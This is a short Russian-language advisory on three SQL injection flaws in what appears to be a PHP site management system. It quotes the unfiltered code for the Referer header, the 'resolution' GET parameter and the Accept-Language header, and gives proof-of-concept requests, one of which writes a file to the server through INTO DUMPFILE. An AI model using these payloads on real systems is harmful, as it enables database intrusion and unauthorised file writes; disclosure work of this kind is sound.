Уязвимости существуют из-за отсутствия фильтрации данных заголовков HTTP и данных в переменных запроса.
1. Уязвимость в данных заголовка HTTP Referer.
Эксплуатация уязвимости возможна при включенной опции rewrite_mod в настройках системы управления сайтом.
Уязвимый код:
$url_info = parse_url($_SERVER['HTTP_REFERER']);
if ($CONFIG['rewrite_mod']) {
$link = @$url_info['path'] ? preg_replace("/^\/(rus|ukr|blr|de|frn|eng)\/?/i", "", $url_info['path']) : "";
/*
$amp_pos = strpos($link, "&");
$link = FALSE !== $amp_pos ? substr($link, 0, $amp_pos) : $link;
*/
if($link=='/') $link = null;
$by = 'address';
} else {
$link = array();
parse_str(@$url_info['query'], $link);
$link = (@$link['link'] && $link['link']!='/') ? My_Sql::escape($link['link']) : '';
$by = 'link';
}
Реализация:
GET http://localhost/c.php HTTP/1.1
Referer: http://asd.asd/'/**/INTO/**/dumpfile/**/'C:/onsec.txt'
2. Уязвимость в данных переменной resolution запроса GET.
Уязвимый код:
if (@$_GET['resolution']) {
$user_resolution=$_GET['resolution'];
} else {
$user_resolution='Another';
}
Реализация:
GET http://localhost/c.php?resolution="injection/**/to/**/insert
3. Уязвимость в данных заголовка HTTP Accept-Language
Уязвимый код:
$user_lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
Реализация:
GET http://localhost/c.php HTTP 1.1
Accept-language: "injection/**/to/**/insert